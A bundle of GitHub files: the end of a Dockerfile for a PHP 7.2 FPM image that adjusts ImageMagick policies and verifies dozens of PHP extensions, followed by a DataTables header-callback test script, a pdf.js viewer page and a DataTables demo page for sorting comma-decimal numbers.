's|.*"thread".*| <policy domain="resource" name="thread" value="1"/>|g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS2".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS3".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"EPS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PDF".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"XPS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="delegate".*pattern="gs".*||g' /etc/ImageMagick-6/policy.xml \ \ # ---------- oci8 ---------- && ORACLE_HREF="$( curl -sS https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/ | tac | tac | grep -Eo 'href="getPackage/oracle-instantclient.+basiclite.+rpm"' | tail -1 )" \ && ORACLE_VERSION_MAJOR="$( echo "${ORACLE_HREF}" | grep -Eo 'instantclient[.0-9]+' | sed 's/instantclient//g' )" \ && ORACLE_VERSION_FULL="$( echo "${ORACLE_HREF}" | grep -Eo 'basiclite-[-.0-9]+' | sed -e 's/basiclite-//g' -e 's/\.$//g' )" \ && (ln -sf /usr/lib/oracle/${ORACLE_VERSION_MAJOR}/client64/lib/*.so* /usr/lib/ || true) \ \ && true ### ### Verify ### RUN set -eux \ && echo "date.timezone=UTC" > /usr/local/etc/php/php.ini \ && php -v | grep -oE 'PHP\s[.0-9]+' | grep -oE '[.0-9]+' | grep '^7.2' \ && /usr/local/sbin/php-fpm --test \ \ && PHP_ERROR="$( php -v 2>&1 1>/dev/null )" \ && if [ -n "${PHP_ERROR}" ]; then echo "${PHP_ERROR}"; false; fi \ && PHP_ERROR="$( php -i 2>&1 1>/dev/null )" \ && if [ -n "${PHP_ERROR}" ]; then echo "${PHP_ERROR}"; false; fi \ \ && PHP_FPM_ERROR="$( php-fpm -v 2>&1 1>/dev/null )" \ && if [ -n "${PHP_FPM_ERROR}" ]; then echo "${PHP_FPM_ERROR}"; false; fi \ && PHP_FPM_ERROR="$( php-fpm -i 2>&1 1>/dev/null )" \ && if [ -n "${PHP_FPM_ERROR}" ]; then echo "${PHP_FPM_ERROR}"; false; fi \ && rm -f /usr/local/etc/php/php.ini \ \ && php -m | grep -oiE '^amqp$' \ && php-fpm -m | grep -oiE '^amqp$' \ && php -m | grep -oiE '^apcu$' \ && php-fpm -m | grep -oiE '^apcu$' \ && php -m | grep -oiE '^bcmath$' \ && php-fpm -m | grep -oiE '^bcmath$' \ && php -m | grep -oiE '^bz2$' \ && php-fpm -m | grep -oiE '^bz2$' \ && php -m | grep -oiE '^calendar$' \ && php-fpm -m | grep -oiE '^calendar$' \ && php -m | grep -oiE '^ctype$' \ && php-fpm -m | grep -oiE '^ctype$' \ && php -m | grep -oiE '^curl$' \ && php-fpm -m | grep -oiE '^curl$' \ && php -m | grep -oiE '^dba$' \ && php-fpm -m | grep -oiE '^dba$' \ && php -m | grep -oiE '^dom$' \ && php-fpm -m | grep -oiE '^dom$' \ && php -m | grep -oiE '^enchant$' \ && php-fpm -m | grep -oiE '^enchant$' \ && php -m | grep -oiE '^exif$' \ && php-fpm -m | grep -oiE '^exif$' \ && php -m | grep -oiE '^fileinfo$' \ && php-fpm -m | grep -oiE '^fileinfo$' \ && php -m | grep -oiE '^filter$' \ && php-fpm -m | grep -oiE '^filter$' \ && php -m | grep -oiE '^ftp$' \ && php-fpm -m | grep -oiE '^ftp$' \ && php -m | grep -oiE '^gd$' \ && php-fpm -m | grep -oiE '^gd$' \ && php -m | grep -oiE '^gettext$' \ && php-fpm -m | grep -oiE '^gettext$' \ && php -m | grep -oiE '^gmp$' \ && php-fpm -m | grep -oiE '^gmp$' \ && php -m | grep -oiE '^hash$' \ && php-fpm -m | grep -oiE '^hash$' \ && php -m | grep -oiE '^iconv$' \ && php-fpm -m | grep -oiE '^iconv$' \ && php -m | grep -oiE '^igbinary$' \ && php-fpm -m | grep -oiE '^igbinary$' \ && php -m | grep -oiE '^imagick$' \ && php-fpm -m | grep -oiE '^imagick$' \ && php -m | grep -oiE '^imap$' \ && php-fpm -m | grep -oiE '^imap$' \ && php -m | grep -oiE '^interbase$' \ && php-fpm -m | grep -oiE '^interbase$' \ && php -m | grep -oiE '^intl$' \ && php-fpm -m | grep -oiE '^intl$' \ && php -m | grep -oiE '^json$' \ && php-fpm -m | grep -oiE '^json$' \ && php -m | grep -oiE '^ldap$' \ && php-fpm -m | grep -oiE '^ldap$' \ && php -m | grep -oiE '^libxml$' \ && php-fpm -m | grep -oiE '^libxml$' \ && php -m | grep -oiE '^mbstring$' \ && php-fpm -m | grep -oiE '^mbstring$' \ && php -m | grep -oiE '^mcrypt$' \ && php-fpm -m | grep -oiE '^mcrypt$' \ && php -m | grep -oiE '^msgpack$' \ && php-fpm -m | grep -oiE '^msgpack$' \ && php -m | grep -oiE '^memcache$' \ && php-fpm -m | grep -oiE '^memcache$' \ && php -m | grep -oiE '^memcached$' \ && php-fpm -m | grep -oiE '^memcached$' \ && php -m | grep -oiE '^mongodb$' \ && php-fpm -m | grep -oiE '^mongodb$' \ && php -m | grep -oiE '^mysqli$' \ && php-fpm -m | grep -oiE '^mysqli$' \ && php -m | grep -oiE '^mysqlnd$' \ && php-fpm -m | grep -oiE '^mysqlnd$' \ && php -m | grep -oiE '^oauth$' \ && php-fpm -m | grep -oiE '^oauth$' \ && php -m | grep -oiE '^oci8$' \ && php-fpm -m | grep -oiE '^oci8$' \ && php -m | grep -oiE '^Zend Opcache$' \ && php-fpm -m | grep -oiE '^Zend Opcache$' \ && php -m | grep -oiE '^openssl$' \ && php-fpm -m | grep -oiE '^openssl$' \ && php -m | grep -oiE '^pcntl$' \ && php-fpm -m | grep -oiE '^pcntl$' \ && php -m | grep -oiE '^pcre$' \ && php-fpm -m | grep -oiE '^pcre$' \ && php -m | grep -oiE '^pdo$' \ && php-fpm -m | grep -oiE '^pdo$' \ && php -m | grep -oiE '^pdo_dblib$' \ && php-fpm -m | grep -oiE '^pdo_dblib$' \ && php -m | grep -oiE '^pdo_firebird$' \ && php-fpm -m | grep -oiE '^pdo_firebird$' \ && php -m | grep -oiE '^pdo_mysql$' \ && php-fpm -m | grep -oiE '^pdo_mysql$' \ && php -m | grep -oiE '^pdo_oci$' \ && php-fpm -m | grep -oiE '^pdo_oci$' \ && php -m | grep -oiE '^pdo_pgsql$' \ && php-fpm -m | grep -oiE '^pdo_pgsql$' \ && php -m | grep -oiE '^pdo_sqlite$' \ && php-fpm -m | grep -oiE '^pdo_sqlite$' \ && php -m | grep -oiE '^pdo_sqlsrv$' \ && php-fpm -m | grep -oiE '^pdo_sqlsrv$' \ && php -m | grep -oiE '^pgsql$' \ && php-fpm -m | grep -oiE '^pgsql$' \ && php -m | grep -oiE '^psr$' \ && php-fpm -m | grep -oiE '^psr$' \ && php -m | grep -oiE '^phalcon$' \ && php-fpm -m | grep -oiE '^phalcon$' \ && php -m | grep -oiE '^phar$' \ && php-fpm -m | grep -oiE '^phar$' \ && php -m | grep -oiE '^posix$' \ && php-fpm -m | grep -oiE '^posix$' \ && php -m | grep -oiE '^pspell$' \ && php-fpm -m | grep -oiE '^pspell$' \ && php -m | grep -oiE '^readline$' \ && php -m | grep -oiE '^recode$' \ && php-fpm -m | grep -oiE '^recode$' \ && php -m | grep -oiE '^redis$' \ && php-fpm -m | grep -oiE '^redis$' \ && php -m | grep -oiE '^reflection$' \ && php-fpm -m | grep -oiE '^reflection$' \ && php -m | grep -oiE '^rdkafka$' \ && php-fpm -m | grep -oiE '^rdkafka$' \ && php -m | grep -oiE '^session$' \ && php-fpm -m | grep -oiE '^session$' \ && php -m | grep -oiE '^shmop$' \ && php-fpm -m | grep -oiE '^shmop$' \ && php -m | grep -oiE '^simplexml$' \ && php-fpm -m | grep -oiE '^simplexml$' \ && php -m | grep -oiE '^snmp$' \ && php-fpm -m | grep -oiE '^snmp$' \ && php -m | grep -oiE '^soap$' \ && php-fpm -m | grep -oiE '^soap$' \ && php -m | grep -oiE '^sockets$' \ && php-fpm -m | grep -oiE '^sockets$' \ && php -m | grep -oiE '^sodium$' \ && php-fpm -m | grep -oiE '^sodium$' \ && php -m | grep -oiE '^solr$' \ && php-fpm -m | grep -oiE '^solr$' \ && php -m | grep -oiE '^spl$' \ && php-fpm -m | grep -oiE '^spl$' \ && php -m | grep -oiE '^sqlsrv$' \ && php-fpm -m | grep -oiE '^sqlsrv$' \ && php -m | grep -oiE '^ssh2$' \ && php-fpm -m | grep -oiE '^ssh2$' \ && php -m | grep -oiE '^swoole$' \ && php-fpm -m | grep -oiE '^swoole$' \ && php -m | grep -oiE '^sysvmsg$' \ && php-fpm -m | grep -oiE '^sysvmsg$' \ && php -m | grep -oiE '^sysvsem$' \ && php-fpm -m | grep -oiE '^sysvsem$' \ && php -m | grep -oiE '^sysvshm$' \ && php-fpm -m | grep -oiE '^sysvshm$' \ && php -m | grep -oiE '^tidy$' \ && php-fpm -m | grep -oiE '^tidy$' \ && php -m | grep -oiE '^tokenizer$' \ && php-fpm -m | grep -oiE '^tokenizer$' \ && php -m | grep -oiE '^uploadprogress$' \ && php-fpm -m | grep -oiE '^uploadprogress$' \ && php -m | grep -oiE '^vips$' \ && php-fpm -m | grep -oiE '^vips$' \ && php -m | grep -oiE '^wddx$' \ && php-fpm -m | grep -oiE '^wddx$' \ && php -m | grep -oiE '^xdebug$' \ && php-fpm -m | grep -oiE '^xdebug$' \ && php -m | grep -oiE '^xml$' \ && php-fpm -m | grep -oiE '^xml$' \ && php -m | grep -oiE '^xmlreader$' \ && php-fpm -m | grep -oiE '^xmlreader$' \ && php -m | grep -oiE '^xmlrpc$' \ && php-fpm -m | grep -oiE '^xmlrpc$' \ && php -m | grep -oiE '^xmlwriter$' \ && php-fpm -m | grep -oiE '^xmlwriter$' \ && php -m | grep -oiE '^xsl$' \ && php-fpm -m | grep -oiE '^xsl$' \ && php -m | grep -oiE '^xlswriter$' \ && php-fpm -m | grep -oiE '^xlswriter$' \ && php -m | grep -oiE '^yaml$' \ && php-fpm -m | grep -oiE '^yaml$' \ && php -m | grep -oiE '^zip$' \ && php-fpm -m | grep -oiE '^zip$' \ && true ### ### Ports ### EXPOSE 9000 ### ### Entrypoint ### CMD ["/usr/local/sbin/php-fpm"] ENTRYPOINT ["/docker-entrypoint.sh"]
{ "pile_set_name": "Github" }
// DATA_TEMPLATE: empty_table oTest.fnStart( "fnHeaderCallback" ); $(document).ready( function () { /* Check the default */ var oTable = $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true } ); var oSettings = oTable.fnSettings(); var mPass, bInit; oTest.fnWaitTest( "Default should be null", null, function () { return oSettings.fnHeaderCallback == null; } ); oTest.fnWaitTest( "Five arguments passed", function () { oSession.fnRestore(); mPass = -1; bInit = false; $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( ) { mPass = arguments.length; }, "fnInitComplete": function () { bInit = true; } } ); }, function () { return mPass == 5 && bInit; } ); /* The header callback is called once for the init and then when the data is added */ oTest.fnWaitTest( "fnHeaderCallback called once per draw", function () { oSession.fnRestore(); mPass = 0; bInit = false; $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { mPass++; }, "fnInitComplete": function () { bInit = true; } } ); }, function () { return mPass == 2 && bInit; } ); oTest.fnWaitTest( "fnRowCallback called on paging (i.e. another draw)", function () { $('#example_next').click(); }, function () { return mPass == 3; } ); oTest.fnWaitTest( "fnRowCallback allows us to alter row information", function () { oSession.fnRestore(); $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { nHead.getElementsByTagName('th')[0].innerHTML = "Displaying "+(iEnd-iStart)+" records"; } } ); }, function () { return $('#example thead th:eq(0)').html() == "Displaying 10 records"; } ); oTest.fnWaitTest( "iStart correct on first page", function () { oSession.fnRestore(); mPass = true; $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { if ( iStart != 0 ) { mPass = false; } } } ); }, function () { return mPass; } ); oTest.fnWaitTest( "iStart correct on second page", function () { oSession.fnRestore(); mPass = false; $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { if ( iStart == 10 ) { mPass = true; } }, "fnInitComplete": function () { $('#example_next').click(); } } ); }, function () { return mPass; } ); oTest.fnWaitTest( "iEnd correct on second page", function () { oSession.fnRestore(); mPass = false; $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { if ( iEnd == 20 ) { mPass = true; } }, "fnInitComplete": function () { $('#example_next').click(); } } ); }, function () { return mPass; } ); oTest.fnWaitTest( "aiDisplay length is full data when not filtered", function () { oSession.fnRestore(); mPass = false; $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { if ( aiDisplay.length == 57 ) { mPass = true; } } } ); }, function () { return mPass; } ); oTest.fnWaitTest( "aiDisplay length is 9 when filtering on 'Mozilla'", function () { oSession.fnRestore(); mPass = false; oTable = $('#example').dataTable( { "sAjaxSource": "../../../examples/ajax/sources/arrays.txt", "bDeferRender": true, "fnHeaderCallback": function ( nHead, aasData, iStart, iEnd, aiDisplay ) { if ( aiDisplay.length == 9 ) { mPass = true; } } } ); oTable.fnFilter( "Mozilla" ); }, function () { return mPass; } ); oTest.fnComplete(); } );
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>PDF</title> <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/3.4.1/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.bootcdn.net/ajax/libs/pdf.js/2.4.456/pdf.min.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.min.js"></script> </head> <body oncontextmenu="return false;"> <div> <!-- Nav tabs --> <ul class="nav nav-tabs" role="tablist"> <li role="presentation" class="active"><a href="#home" aria-controls="home" role="tab" data-toggle="tab">Canvas</a></li> <li role="presentation"><a href="#profile" aria-controls="profile" role="tab" data-toggle="tab">SWF</a></li> <li role="presentation"><a href="#messages" aria-controls="messages" role="tab" data-toggle="tab">PDF</a></li> </ul> <!-- Tab panes --> <div class="tab-content"> <div role="tabpanel" class="tab-pane active" id="home"> <p> <a href="javascript:prev_page()">上一页</a> <a href="javascript:next_page()">下一页</a> </p> <canvas id="the-canvas"> </canvas> <script charset="utf-8"> var mypdf = null, current_page = 0; function next_page() { if (!mypdf) return; if (current_page >= mypdf.numPages) return; mypdf.getPage(++current_page).then(render); } function prev_page() { if (!mypdf) return; if (current_page <= 1) return; mypdf.getPage(--current_page).then(render); } function render(page) { var desiredWidth = 1024; var viewport = page.getViewport({ scale: 1, }); var scale = desiredWidth / viewport.width; viewport = page.getViewport({ scale: scale, }); var canvas = document.getElementById('the-canvas'); var context = canvas.getContext('2d'); canvas.height = viewport.height; canvas.width = viewport.width; var renderContext = { canvasContext: context, viewport: viewport }; page.render(renderContext); } var loadingTask = pdfjsLib.getDocument('ui.pdf'); loadingTask.promise.then(function(pdf) { mypdf = pdf; next_page(); }); </script> </div> <div role="tabpanel" class="tab-pane" id="profile"> <embed src="ui.swf" width="90%" height="800"> </div> <div role="tabpanel" class="tab-pane" id="messages"> <embed src="ui.pdf#toolbar=0&navpanes=0&scrollbar=0" width="90%" height="800"> </div> </div> </div> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" type="image/ico" href="http://www.datatables.net/media/images/favicon.ico" /> <title>DataTables example</title> <style type="text/css" title="currentStyle"> @import "../../media/css/demo_page.css"; @import "../../media/css/demo_table.css"; </style> <script type="text/javascript" language="javascript" src="../../media/js/jquery.js"></script> <script type="text/javascript" language="javascript" src="../../media/js/jquery.dataTables.js"></script> <script type="text/javascript" charset="utf-8"> /* Note 'unshift' does not work in IE6. A simply array concatenation would. This is used * to give the custom type top priority */ jQuery.fn.dataTableExt.aTypes.unshift( function ( sData ) { var sValidChars = "0123456789-,"; var Char; var bDecimal = false; /* Check the numeric part */ for ( i=0 ; i<sData.length ; i++ ) { Char = sData.charAt(i); if (sValidChars.indexOf(Char) == -1) { return null; } /* Only allowed one decimal place... */ if ( Char == "," ) { if ( bDecimal ) { return null; } bDecimal = true; } } return 'numeric-comma'; } ); jQuery.fn.dataTableExt.oSort['numeric-comma-asc'] = function(a,b) { var x = (a == "-") ? 0 : a.replace( /,/, "." ); var y = (b == "-") ? 0 : b.replace( /,/, "." ); x = parseFloat( x ); y = parseFloat( y ); return ((x < y) ? -1 : ((x > y) ? 1 : 0)); }; jQuery.fn.dataTableExt.oSort['numeric-comma-desc'] = function(a,b) { var x = (a == "-") ? 0 : a.replace( /,/, "." ); var y = (b == "-") ? 0 : b.replace( /,/, "." ); x = parseFloat( x ); y = parseFloat( y ); return ((x < y) ? 1 : ((x > y) ? -1 : 0)); }; $(document).ready(function() { $('#example').dataTable(); } ); </script> </head> <body id="dt_example"> <div id="container"> <div class="full_width big"> DataTables sorting and type detection example </div> <h1>Preamble</h1> <p>When dealing with your own data formatting, it can often be very useful to have DataTables detect data types and sorting them accordingly for types which are not build into DataTables. For this reason plug-in support is provided to allow custom type detection and sorting.</p> <p>This example shows sorting with a comma (',') for a decimal place. These plug-ins (and others can be found on <a href="http://www.datatables.net/plug-ins">DataTables.net</a>.</p> <h1>Live example</h1> <div id="demo"> <table cellpadding="0" cellspacing="0" border="0" class="display" id="example"> <thead> <tr> <th>Rendering engine</th> <th>Browser</th> <th>Platform(s)</th> <th>Engine version</th> <th>CSS grade</th> </tr> </thead> <tbody> <tr class="gradeX"> <td>Trident</td> <td>Internet Explorer 4.0</td> <td>Win 95+</td> <td class="center">4</td> <td class="center">X</td> </tr> <tr class="gradeC"> <td>Trident</td> <td>Internet Explorer 5.0</td> <td>Win 95+</td> <td class="center">5</td> <td class="center">C</td> </tr> <tr class="gradeA"> <td>Trident</td> <td>Internet Explorer 5.5</td> <td>Win 95+</td> <td class="center">5,5</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Trident</td> <td>Internet Explorer 6</td> <td>Win 98+</td> <td class="center">6</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Trident</td> <td>Internet Explorer 7</td> <td>Win XP SP2+</td> <td class="center">7</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Trident</td> <td>AOL browser (AOL desktop)</td> <td>Win XP</td> <td class="center">6</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Firefox 1.0</td> <td>Win 98+ / OSX.2+</td> <td class="center">1,7</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Firefox 1.5</td> <td>Win 98+ / OSX.2+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Firefox 2.0</td> <td>Win 98+ / OSX.2+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Firefox 3.0</td> <td>Win 2k+ / OSX.3+</td> <td class="center">1,9</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Camino 1.0</td> <td>OSX.2+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Camino 1.5</td> <td>OSX.3+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Netscape 7.2</td> <td>Win 95+ / Mac OS 8.6-9.2</td> <td class="center">1,7</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Netscape Browser 8</td> <td>Win 98SE+</td> <td class="center">1,7</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Netscape Navigator 9</td> <td>Win 98+ / OSX.2+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.0</td> <td>Win 95+ / OSX.1+</td> <td class="center">1</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.1</td> <td>Win 95+ / OSX.1+</td> <td class="center">1,1</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.2</td> <td>Win 95+ / OSX.1+</td> <td class="center">1,2</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.3</td> <td>Win 95+ / OSX.1+</td> <td class="center">1,3</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.4</td> <td>Win 95+ / OSX.1+</td> <td class="center">1,4</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.5</td> <td>Win 95+ / OSX.1+</td> <td class="center">1,5</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.6</td> <td>Win 95+ / OSX.1+</td> <td class="center">1,6</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.7</td> <td>Win 98+ / OSX.1+</td> <td class="center">1,7</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Mozilla 1.8</td> <td>Win 98+ / OSX.1+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Seamonkey 1.1</td> <td>Win 98+ / OSX.2+</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Gecko</td> <td>Epiphany 2.20</td> <td>Gnome</td> <td class="center">1,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>Safari 1.2</td> <td>OSX.3</td> <td class="center">125,5</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>Safari 1.3</td> <td>OSX.3</td> <td class="center">312,8</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>Safari 2.0</td> <td>OSX.4+</td> <td class="center">419,3</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>Safari 3.0</td> <td>OSX.4+</td> <td class="center">522,1</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>OmniWeb 5.5</td> <td>OSX.4+</td> <td class="center">420</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>iPod Touch / iPhone</td> <td>iPod</td> <td class="center">420,1</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Webkit</td> <td>S60</td> <td>S60</td> <td class="center">413</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 7.0</td> <td>Win 95+ / OSX.1+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 7.5</td> <td>Win 95+ / OSX.2+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 8.0</td> <td>Win 95+ / OSX.2+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 8.5</td> <td>Win 95+ / OSX.2+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 9.0</td> <td>Win 95+ / OSX.3+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 9.2</td> <td>Win 88+ / OSX.3+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera 9.5</td> <td>Win 88+ / OSX.3+</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Opera for Wii</td> <td>Wii</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Nokia N800</td> <td>N800</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>Presto</td> <td>Nintendo DS browser</td> <td>Nintendo DS</td> <td class="center">8,5</td> <td class="center">C/A<sup>1</sup></td> </tr> <tr class="gradeC"> <td>KHTML</td> <td>Konqureror 3.1</td> <td>KDE 3.1</td> <td class="center">3,1</td> <td class="center">C</td> </tr> <tr class="gradeA"> <td>KHTML</td> <td>Konqureror 3.3</td> <td>KDE 3.3</td> <td class="center">3,3</td> <td class="center">A</td> </tr> <tr class="gradeA"> <td>KHTML</td> <td>Konqureror 3.5</td> <td>KDE 3.5</td> <td class="center">3,5</td> <td class="center">A</td> </tr> <tr class="gradeX"> <td>Tasman</td> <td>Internet Explorer 4.5</td> <td>Mac OS 8-9</td> <td class="center">-</td> <td class="center">X</td> </tr> <tr class="gradeC"> <td>Tasman</td> <td>Internet Explorer 5.1</td> <td>Mac OS 7.6-9</td> <td class="center">1</td> <td class="center">C</td> </tr> <tr class="gradeC"> <td>Tasman</td> <td>Internet Explorer 5.2</td> <td>Mac OS 8-X</td> <td class="center">1</td> <td class="center">C</td> </tr> <tr class="gradeA"> <td>Misc</td> <td>NetFront 3.1</td> <td>Embedded devices</td> <td class="center">-</td> <td class="center">C</td> </tr> <tr class="gradeA"> <td>Misc</td> <td>NetFront 3.4</td> <td>Embedded devices</td> <td class="center">-</td> <td class="center">A</td> </tr> <tr class="gradeX"> <td>Misc</td> <td>Dillo 0.8</td> <td>Embedded devices</td> <td class="center">-</td> <td class="center">X</td> </tr> <tr class="gradeX"> <td>Misc</td> <td>Links</td> <td>Text only</td> <td class="center">-</td> <td class="center">X</td> </tr> <tr class="gradeX"> <td>Misc</td> <td>Lynx</td> <td>Text only</td> <td class="center">-</td> <td class="center">X</td> </tr> <tr class="gradeC"> <td>Misc</td> <td>IE Mobile</td> <td>Windows Mobile 6</td> <td class="center">-</td> <td class="center">C</td> </tr> <tr class="gradeC"> <td>Misc</td> <td>PSP browser</td> <td>PSP</td> <td class="center">-</td> <td class="center">C</td> </tr> <tr class="gradeU"> <td>Other browsers</td> <td>All others</td> <td>-</td> <td class="center">-</td> <td class="center">U</td> </tr> </tbody> <tfoot> <tr> <th>Rendering engine</th> <th>Browser</th> <th>Platform(s)</th> <th>Engine version</th> <th>CSS grade</th> </tr> </tfoot> </table> </div> <div class="spacer"></div> <h1>Initialisation code</h1> <pre class="brush: js;">/* Note 'unshift' does not work in IE6. A simply array concatenation would. This is used * to give the custom type top priority */ jQuery.fn.dataTableExt.aTypes.unshift( function ( sData ) { var sValidChars = "0123456789-,"; var Char; var bDecimal = false; /* Check the numeric part */ for ( i=0 ; i&lt;sData.length ; i++ ) { Char = sData.charAt(i); if (sValidChars.indexOf(Char) == -1) { return null; } /* Only allowed one decimal place... */ if ( Char == "," ) { if ( bDecimal ) { return null; } bDecimal = true; } } return 'numeric-comma'; } ); jQuery.fn.dataTableExt.oSort['numeric-comma-asc'] = function(a,b) { var x = (a == "-") ? 0 : a.replace( /,/, "." ); var y = (b == "-") ? 0 : b.replace( /,/, "." ); x = parseFloat( x ); y = parseFloat( y ); return ((x &lt; y) ? -1 : ((x > y) ? 1 : 0)); }; jQuery.fn.dataTableExt.oSort['numeric-comma-desc'] = function(a,b) { var x = (a == "-") ? 0 : a.replace( /,/, "." ); var y = (b == "-") ? 0 : b.replace( /,/, "." ); x = parseFloat( x ); y = parseFloat( y ); return ((x &lt; y) ? 1 : ((x > y) ? -1 : 0)); }; $(document).ready(function() { $('#example').dataTable(); } );</pre> <style type="text/css"> @import "../examples_support/syntax/css/shCore.css"; </style> <script type="text/javascript" language="javascript" src="../examples_support/syntax/js/shCore.js"></script> <h1>Other examples</h1> <div class="demo_links"> <h2>Basic initialisation</h2> <ul> <li><a href="../basic_init/zero_config.html">Zero configuration</a></li> <li><a href="../basic_init/filter_only.html">Feature enablement</a></li> <li><a href="../basic_init/table_sorting.html">Sorting data</a></li> <li><a href="../basic_init/multi_col_sort.html">Multi-column sorting</a></li> <li><a href="../basic_init/multiple_tables.html">Multiple tables</a></li> <li><a href="../basic_init/hidden_columns.html">Hidden columns</a></li> <li><a href="../basic_init/complex_header.html">Complex headers - grouping with colspan</a></li> <li><a href="../basic_init/dom.html">DOM positioning</a></li> <li><a href="../basic_init/flexible_width.html">Flexible table width</a></li> <li><a href="../basic_init/state_save.html">State saving</a></li> <li><a href="../basic_init/alt_pagination.html">Alternative pagination styles</a></li> <li>Scrolling: <br> <a href="../basic_init/scroll_x.html">Horizontal</a> / <a href="../basic_init/scroll_y.html">Vertical</a> / <a 